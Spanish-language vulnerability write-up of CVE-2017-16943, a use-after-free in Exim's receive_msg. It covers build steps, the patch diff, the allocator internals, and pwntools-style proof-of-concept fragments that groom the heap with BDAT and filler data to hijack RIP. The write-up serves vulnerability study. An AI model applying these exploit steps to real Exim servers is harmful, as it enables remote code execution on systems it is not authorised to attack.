
Análisis técnico y prueba de concepto para CVE-2017-16943, un use-after-free en la función receive_msg de Exim, que demuestra manipulación del heap y secuestro de RIP.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Modifique las variables de ruta y el nombre de usuario en el Makefile
cd ..
make -j8
sudo make install
Después de la instalación, cambie accept hosts = : por accept hosts = * en el configure.
Ejecutar:
exim -bdf -d-receive
Esta vulnerabilidad es un UAF, ocurre en la función receive_msg en receive.c, que se utiliza para recibir entrada del cliente. Vea el registro del parche:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Aquí primero aclaremos el rol de algunas variables globales:
current_block: El storeblock actual, cuando se usa store_get_3 la próxima vez, se busca espacio libre en este storeblock primero.
next_yield: Apunta a la dirección de inicio del bloque libre en current_block; generalmente la parte superior del storeblock está usada y la inferior libre.
yield_length: La longitud de next_yield.
Analizando el PoC de meh, se puede saber que el programa sin parche puede desencadenar el UAF mediante el siguiente proceso de diseño del montón:
Primero, en la función receive_msg, haga que next->text sea el buffer inicial de un storeblock:

Luego, mediante el comando bdat, solicite un buffer debajo de ese text.

¿Por qué usar el comando bdat?
En realidad, tanto auth plain como comandos ilegales compuestos por caracteres no visibles pueden solicitar un buffer debajo del text, pero otras instrucciones harán que la función receive_msg salga. Al volver a ingresar a receive_msg, next->text apuntará a otra región, por lo que la vulnerabilidad no se puede desencadenar. El comando bdat no hace que la función receive_msg actual salga, esto es muy importante.

Luego, envíe caracteres continuamente para llenar next_text (inicialmente 0x100), y entonces el programa ejecutará el punto vulnerable. En store_extend, se descubre que debido a la presencia del buffer bdat, no se puede extender, por lo que se ejecuta store_get para obtener la región apuntada por next_yield, y luego se llama a la función store_release. En esta función, solo se verifica si el parámetro de liberación es el inicio de un storeblock, pero no se verifica si hay otros buffers después, por lo que se libera el storeblock directamente. Esto hace que la dirección devuelta por store_get todavía esté dentro de current_block, pero inmediatamente después se libera current_block, lo que provoca un UAF.
Aquí se explica paso a paso cómo secuestrar RIP con el código PoC.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Primero, se envía un montón de datos, con el objetivo de que yield_length sea menor que 0x130 pero mayor que 0x30. ¿Por qué es necesario esto? Veamos el inicio de la función receive_msg:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
Se puede observar que antes de solicitar next->text, se solicitan dos buffers de tamaño sizeof(header_line), que es 0x18. Por lo tanto, si después de asignar estos dos bloques de 0x18, el tamaño restante yield_length es menor que 0x100, entonces al solicitar next->text, store_get solicitará un nuevo storeblock, y next->text estará al inicio de ese storeblock.
Luego llamamos al comando bdat:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Este comando contiene un carácter no visible, lo que hará que se llame a store_get para solicitar un buffer para almacenar el mensaje de error:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Incluso si las instrucciones ilegales contienen caracteres no visibles, también provocarán una solicitud adicional de bloques de montón).
En este punto, enviamos caracteres continuamente:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Entonces se irán llenando byte a byte los caracteres recibidos en next->text. Cuando el área libre de 0x100 se llene, se ejecutará el código vulnerable para expandir el tamaño de next->text. Primero se ingresa a store_extend(next->text, oldsize, header_size) para intentar expandir directamente:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
Las comprobaciones principales están en las líneas 276-277. La primera condición verifica si el puntero que se desea expandir, ptr, está inmediatamente seguido por next_yield. La segunda condición verifica si sumando el tamaño de next_yield (es decir, yield_length) es suficiente. Claramente, la primera condición no se cumple, porque después de next->text hay un buffer bdat, y luego next_yield.